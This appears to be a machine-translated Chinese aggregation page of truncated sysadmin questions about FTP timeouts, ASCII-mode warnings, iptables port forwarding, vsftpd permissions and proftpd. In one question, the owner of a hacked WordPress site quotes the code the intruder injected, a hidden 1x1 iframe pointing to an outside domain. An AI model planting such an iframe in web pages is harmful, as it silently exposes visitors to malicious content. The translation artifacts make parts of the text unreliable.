Articles of ftp

如何防止在FTP大文件时TCP连接超时?

我无法从互联网FTP(检索)一个大文件到我的Linux VM。 它过了一段时间。 实际的错误是“ 无法读取来自控制连接的回复 – 超时 ” 。几分钟后,在文件的一大块已经被传输之后,会发生此错误。 设置是: FTP客户端:ncftpget在VMWare Player 3.0的Linux上运行 FTP服务器:在互联网上的其他人的机器,configuration未知 客户操作系统:Ubuntu 8.10 Linux 32位,安装了vmxnet和vmware工具。 主机操作系统:Vista 64位 networking:Linux VM通过桥接NIC连接到Internet(也尝试NAT) FTP模式:PASV 我确实发现了一些论坛post,提到了2分钟的超时时间。 但究竟在哪里以及如何解决这个问题还不清楚。 一些故障排除步骤已经尝试 我已经从VMWare Player 3.0切换到VirtualBox 3.0.x,但没有运气。 我也从NAT更改为桥接虚拟网卡,但没有运气 更新 Linux虚拟机上的Netstat和DIR-655路由器上的等效pipe理页面都显示连接是活着的(tcp'ESTABLISHED'状态)。 Vista根本没有看到连接,如果连接状态只在虚拟机内pipe理,我想这是正常的。 下面是Vista上的netsh interface tcp show global的输出,以防万一: C:\ Users \ alex> netsh interface tcp show global 查询活动状态… TCP全局参数 ———————————————- 接收方缩放状态:启用 烟囱卸载状态:禁用 接收窗口自动调节级别:高度限制 附加拥塞控制提供程序:无 […]

网站再次被黑客入侵

最终更新: 在过去的几个星期里,事情已经和平了,并且教会了我更多关于网站安全和风险的信息。 这是我的故事版本 – 我正在使用一个老版本的WordPress,可能这个人从谷歌抓到我。 我认为这是一个脚本攻击。 很难说什么时候,什么时候安全实际上是妥协的,这是我在2009年11月5日发现的。当时我采取了一些安全措施(如下所述),但总是有可能错过了在改变wordpress密码的时候我格式化了我的工作电脑。 现在我已经从主机中删除了所有不需要的PHP脚本,只让我的IP访问pipe理部分,阻止了一个属于越南的特定IP范围。 每日备份和其他的东西。 事情就是有太多的variables涉及到,而且很难跟踪每一件事情。 主要的教训是为它做好准备。 🙂 我正在通过GoDaddy共享托pipe计划并运行一个WordPress网站。 我的网站是在2009年11月5日第一次被黑客攻击的。当时黑客用自己的广告replace了我的广告。 我以为这是因为我对安全的懒惰而发生的,但是我错了。 我格式化了我的电脑,并再次设置一切。 用Microsoft Security Essentials取代了ESET NOD32。 升级到最新版本的WordPress。 更改了所有密码。 build立一个新的数据库。 和其他安全相关的东西我读到这里和那里。 事情有一段时间运行良好,直到我的网站今天再次被黑客攻击。 上次,这个人玩了很多文件,特别是改变了footer.php和所有与广告有关的文件。 但是这次他只是去了正确的地方,换成下面的代码 – <IFRAME height=1 src="http://blackberryrss.com/check.html" frameBorder=0 width=1></IFRAME> <form action="http://www.google.com/cse" id="cse-search-box"> <div> <input type="hidden" name="cx" value="partner-pub-2815780429722377:hhm6d0-6wfw" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="text" name="q" size="31" /> <input type="submit" name="sa" […]

FTP:如何摆脱“警告! 在ASCII模式下收到1个空白换行符“消息?

我写了一个小小的shell脚本(在CentOS上)从我们的APC UPS设备下载统计数据。 它工作的很好,但每天cron发送一封电子邮件与这个消息: WARNING! 1 bare linefeeds received in ASCII mode File may not have transferred correctly. 当我在shell上手动获取文件时,我也会得到这个消息。 我的脚本的FTP部分如下所示: ftp -in $ftpip <<END_FTP_DOWNLOAD user $ftpuser $ftppassword get data.txt bye END_FTP_DOWNLOAD 我怎样才能摆脱这可能会打扰我的同事的警告信息呢? 手动FTP连接看起来像这样。 我这次尝试input“ascii”: 220 AP9617 Network Management Card AOS v2.6.4 FTP server ready. Name (192.168.0.50:myusername): username 331 User name okay, need password. Password: 230 User […]

您应该在什么基础上select通过FTP进行ACSII或二进制传输?

FTP客户端(包括那些以编程方式使用的)允许用户在上传文件时selectASCII或二进制传输。 一些客户端也支持Auto的一些风格,在那里你把它留给FTP客户端来决定。 select其中一种格式的正确理由是什么? 如何决定? 除了支持自动检测的客户端,如何自动化这个决定?

用IPTables转发FTP

我试图用IPTables转发一个FTP服务器。 FTP服务器运行在Windows 2008盒子(Cerberus)上。 详细信息Win Box: IP:192.168.220.51 FTP端口:21 PASV端口:11000-13000 FTP服务器在局域网中工作良好。 路由器正在为其他客户端(服务NAT,DHCP,防火墙等)正常工作。 我需要将FTP服务转发到外部世界,但是我不能使用端口20-21(已经占用)。 我试过这个,但没有奏效: iptables -A PREROUTING -t nat -i eth0 -p tcp –dport 2121 -j DNAT –to 192.168.220.51:21 当前IPTablesconfiguration: [root@router ~]# service iptables status Table: nat Chain PREROUTING (policy ACCEPT) num target prot opt source destination Chain POSTROUTING (policy ACCEPT) num target prot opt source destination […]

通过VSFTPD创build的文件的默认所有者/权限

如何设置创build的目录和文件的默认值为775? 我的理解是,我需要修改VSFTPD的umask,但我怎么知道要改变它呢?

控制台FTPS(而不是SFTP)客户端?

我需要自动化一些传输,但似乎我无法find一个体面的命令行FTP客户端支持FTPS的Windows平台? winscp支持SFTP,但没有很好的Windows SFTP服务器,只有FreeSSHDService,似乎没有积极支持了..因此,我想使用FileZilla服务器,支持FTPS ..

如何在Linux ftp命令中禁用被动模式

我正在使用linux的“ftp”命令将数据发送给第三方提供者。 该公司声明,我们需要“在您的FTP客户端禁用被动模式”,我确认它在被动模式下不起作用。 但是,当我使用linux命令时,由于使用PORT传输模式的安全考虑,我发现“-p”标志现在是“所有客户端(ftp和pftp)的默认标志”。没有效果了。“ 那么如何禁用被动模式呢? 而且,这是不好的?

有没有免费的软件来testingnetworking服务器?

我写了自己的http服务器。 是否有任何免费软件,testing包或工具集来validation它是否完全或部分符合HTTP 1.0(rfc 1945)。 而且,如果这个软件可以估计http性能并检查潜在的安全问题,那就太好了。 这个软件在FTP合规validation方面也是一样的。

如何启动/停止proftpd

我似乎无法find停止/重新启动proftpd的方法。 我的服务器IP地址是xx.yy.zz.ww,通过FTP从外部设备连接,给我提示: Connected to xx.yy.zz.ww 220 ProFTPD 1.3.1 Server (ProFTPD) 然后它要求我input用户名。 当我尝试从同一台服务器(ftp localhost)进行连接时,也会出现同样的情况。 因此,我确定proftp正在我的服务器上运行。 另外,在我的服务器(xx.yy.zz.ww)。 我正在拖/var/log/messages ,它显示我的FTP会话打开和closures。 我无法findproftpd是如何工作的。 /etc/init.d/没有proftpd; /etc/xinetd.d/没有proftpd。 我看着: /etc/proftpd.conf ,它显示了我的ServerType inetd 另外,当我运行: ps -auxfww | grep proftp我没有得到任何东西(除了我目前的命令) 我如何才能知道proftp正在运行,如何杀死它/重新启动它?